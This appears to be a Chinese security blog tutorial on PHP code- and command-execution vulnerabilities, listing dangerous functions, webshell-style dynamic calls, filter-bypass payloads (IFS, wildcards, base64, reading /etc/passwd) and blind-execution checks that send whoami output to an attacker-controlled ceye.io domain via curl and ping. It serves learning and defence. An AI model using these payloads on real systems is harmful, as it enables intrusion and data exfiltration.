本文最后更新于:星期六, 五月 23日 2020, 9:15 晚上

命令执行&代码执行漏洞学习

代码执行漏洞

代码执行漏洞是由于web应用过滤不严谨,导致用户可以通过请求将代码注入到web应用中进行执行。php中有一些函数可以将参数当作代码来执行,例如assert()、call_user_func()等。当开发者使用了这些函数时,但没有对参数进行严格限制,导致了用户可以控制这些函数的参数,执行任意代码,这就是代码执行漏洞。

常见危险函数

php代码执行相关的函数

  • eval()

    mixed eval(string $code)
    

    $code是需要被执行的字符串,这个字符串必须以;结尾。同时代码不能包含PHP tags,例如:”<?php echo ‘1’ ?>”这样的字符串是不行的。

    eval()不是一个函数,它是一个语言构造器,所以不可以被可变函数调用。

  • assert()

    bool assert(mixed $assertion [, string $description])
    

    assert()函数是PHP中用来判断一个表达式是否成立的函数,返回值是true or false 。

    如果传入的assertion是字符串的话,那它会被assert()当作php代码来执行。

    assert()函数传入的php代码不需要;来作为结尾

  • preg_replace()

    preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
    

    preg_replace()函数用来执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分,然后用replacement进行替换。

    当$pattern参数中存在/e修饰符时,$replacement会被当作php代码来执行。

    PHP5.5.0版本起,/e修饰符已经被弃用了,使用preg_replace_callback()代替,如果传入/e修饰符,会产生一个E_DEPRECATED错误,但是$replacement还是会被当作代码执行。

    PHP7.0版本起,会产生E_WARNING错误,同时/e修饰符无法生效。

  • call_user_func()

    mixed call_user_func(callable $callback[, mixed $parameter[, mixed $..]])
    

    第一个参数callback时 被调用的回调函数,其余参数是回调函数的参数。

  • array_map

    用法:

    array array_map(callable $callback, array $array1[, array $...])
    

    array_map为数组的每个元素应用回调函数。callback函数形参的数量要和传给array_map()数组数量一致。

  • call_user_func_array

    mixed call_user_func_array ( callable $callback , array $param_arr )
    

    第一个参数是回调函数,第二个参数是回调函数的参数数组

  • create_function

    create_function用于创建一个匿名函数,它内部实现用到了eval。

    用法:

    create_function ( string $args , string $code ) : string
    

    第一个参数args是后面定义函数的参数,第二个参数$code是函数代码

PHP动态函数

因为PHP特性的原因,PHP的函数名可以由字符串来进行拼接

例如:

<?php
    $a = 'a'.'s'.'s'.'e'.'r'.'t';
    $a(phpinfo());
?>

或者:

$_GET['a']($_POST['b']);

利用这样的写法可以进行各种变形,通常被当作web后门使用

Curly Syntax

PHP中的Curly Syntax也能导致代码执行,它将执行花括号间的代码,并且将结果替换回去。

demo:

<?php
$test = "phpinfo";
${"test"}();
?>

命令执行漏洞

命令执行漏洞是指可以执行系统或者应用命令(cmd命令或者bash命令)的漏洞,主要是由于web应用使用了一些能执行命令的函数,但是对它们的参数过滤不严谨导致。

常见危险函数

  • system

    system(string $command[, int &$return_var]): string 
    

    system函数会执行command参数所指定的命令,并且输出执行结果。

  • exec

    exec ( string $command [, array &$output [, int &$return_var ]] ) : string
    

    exec()会执行command指定的命令

  • shell_exec()

    shell_exec ( string $cmd ) : string
    

    shell_exec()会通过shell环境执行命令,并且将完整的输出以字符串的方式返回。

    执行操作符就是通过shell_exec()实现的。

  • passthru

    passthru ( string $command [, int &$return_var ] ) : void
    

    与exec()函数类似,执行外部程序并且显示原始输出

  • pcntl_exec

    pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void
    

    pcntl是php的多进程处理扩展,在处理大量任务的情况下会使用到,需要额外安装。

    $path是可执行程序的路径,$args是传递给$path程序的参数。

    例如:

    pcntl_exec("/bin/bash",array("whoami"));
    
  • popen

    popen ( string $command , string $mode ) : resource
    

    popen()函数打开一个指向进程的管道,该进程由派生给定的command命令执行产生

    例如:

    popen("whoami >> test.php","r");
    
  • proc_open

    proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource
    

    与popen()类似,执行一个命令,并且打开用来输入输出的文件指针,提供了比popen()更加强大的控制程序执行的能力。

  • ob_start

    ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool
    

    这个 函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

    内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外,使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

    可选参数callback如果被指定,那么当输出缓冲区被送出或者清洗时,或者请求结束之际,该函数将会被调用。

    当该函数调用时,输出缓冲区的内容会被当作参数去执行,并返回一个新的输出缓冲区作为结果,并且送到浏览器中去。

    例子:

    <?php
        $cmd='system';
        ob_start($cmd);
        echo "$_GET['a']";
        ob_end_flush();
    ?>
    

常见绕过姿势

命令操作符
  1. cmd1 | cmd2 (|管道操作符)

    管道操作符会将cmd1的结果输出给cmd2

  2. cmd1 & cmd2 (&和号操作符)

    &会让命令在后台运行

  3. cmd1 ; cmd2 (; 分号操作符)

    执行多条命令

  4. cmd1 && cmd2 (&&与操作符)

    只有cmd1执行成功后才会去执行cmd2

  5. cmd1 || cmd2 (|| 或操作符)

    cmd1执行失败才会执行cmd2

空格过滤绕过
  1. 字符串拼接

    IFS(内部域分隔)是SHELL内置变量,是一个用于分隔的字符列表,默认值是空白(空格、tab、换行)

    用法:

    root@DESKTOP-10M601S:/home# cat${IFS}flag
    flag{just_simple_flag}
    root@DESKTOP-10M601S:/home# cat$IFS'flag'
    flag{just_simple_flag}
    root@DESKTOP-10M601S:/home# cat$IFS"flag"
    flag{just_simple_flag}
    root@DESKTOP-10M601S:/home# cat$IFS$1flag
    flag{just_simple_flag}
    
  2. 使用{}

    例如:

    root@DESKTOP-10M601S:/home# {cat,flag}
    flag{just_simple_flag}
    
  3. 使用tab

    例如:

    ?id=cat%09/etc/passwd
    
  4. 使用重定向符

    在读取文件时可以使用重定向符来替代空格

    例如:

    root@DESKTOP-10M601S:/home# cat<>flag
    flag{just_simple_flag}
    root@DESKTOP-10M601S:/home# cat<flag
    flag{just_simple_flag}
    
黑名单关键字绕过
  1. 字符串拼接

    a=c;b=at;c=fl;d=ag;$a$b ${c}${d}
    root@DESKTOP-10M601S:/home# a=c;b=at;c=fl;d=ag;$a$b ${c}${d}
    flag{just_simple_flag}
    
  2. 利用环境变量

    linux下有一些环境变量,可以通过这些分割这些变量来拼接出想要的字符串

    root@DESKTOP-10M601S:/home# echo ${SHELLOPTS}
    braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor
    root@DESKTOP-10M601S:/home# echo ${SHELLOPTS:3:1}
    c
    root@DESKTOP-10M601S:/home# echo ${SHELLOPTS:2:1}
    a
    root@DESKTOP-10M601S:/home# ${SHELLOPTS:3:1}at${IFS}flag
    flag{just_simple_flag}
    
  3. 利用空变量

    root@DESKTOP-10M601S:/home# cat fl${x}ag
    flag{just_simple_flag}
    
  4. 利用linux通配符?*

    root@DESKTOP-10M601S:/home# /bin/ca? fl??
    flag{just_simple_flag}
    
  5. 利用反斜杠

    \反斜杠在bash中被解释为转义字符,用于去除单个字符的特殊意义。它保留了跟随在之后的字符的字面值(除了换行符)。

    root@DESKTOP-10M601S:/home# ca\t f\lag
    flag{just_simple_flag}
    
  6. 利用bash64编码

    root@DESKTOP-10M601S:/home# echo t | base64
    dAo=
    root@DESKTOP-10M601S:/home# ca$(echo "dAo=" | base64 -d) flag
    flag{just_simple_flag}
    root@DESKTOP-10M601S:/home# echo flag | base64
    ZmxhZwo=
    root@DESKTOP-10M601S:/home# cat $(echo "ZmxhZwo=" |base64 -d)
    flag{just_simple_flag}
    
无回显情况

命令执行可能会存在没有回显的情况。这时要判断命令是执行,有三种方法。

  1. 延时

    通过sleep命令来进行延时

    例子:

    <?php
        shell_exec($_GET['a']);
    ?>
    

    访问:

    http://localhost/demo.php?a=sleep 3
    
  2. HTTP请求

    首先要有一台公网可通信的机子,目标通过向这个机子发起http请求,当该机子收到http请求时,说明命令执行成功。

    如果没有一台公网机子的话,可以去ceye注册一个账号。

    注册了以后他会分配一个3级域名给你,通过向这个域名发起http请求可以将命令执行的数据带出

    例子:

    root@DESKTOP-10M601S:/home# curl http://vlut7q.ceye.io/`whoami`
    {"meta": {"code": 201, "message": "HTTP Record Insert Success"}}
    

    image-20200523211052128

    一般使用http请求带出的数据最好经过base64编码一下。

    root@DESKTOP-10M601S:/home# curl http://vlut7q.ceye.io/`whoami|base64`
    
  1. 使用DNS通道带出

    如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。

    这里用的同样是ceye ,通过ping命令来发起dns请求

    root@DESKTOP-10M601S:/home# ping `whoami`.vlut7q.ceye.io
    

    image-20200523211415039

代码执行和命令执行漏洞防御

  • 对相应的函数设置参数的白名单,结合正则表达式来进行白名单限制
  • 对参数进行严格过滤
  • 最简单的方法就是不允许命令执行

REFERENCE


WEB     

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!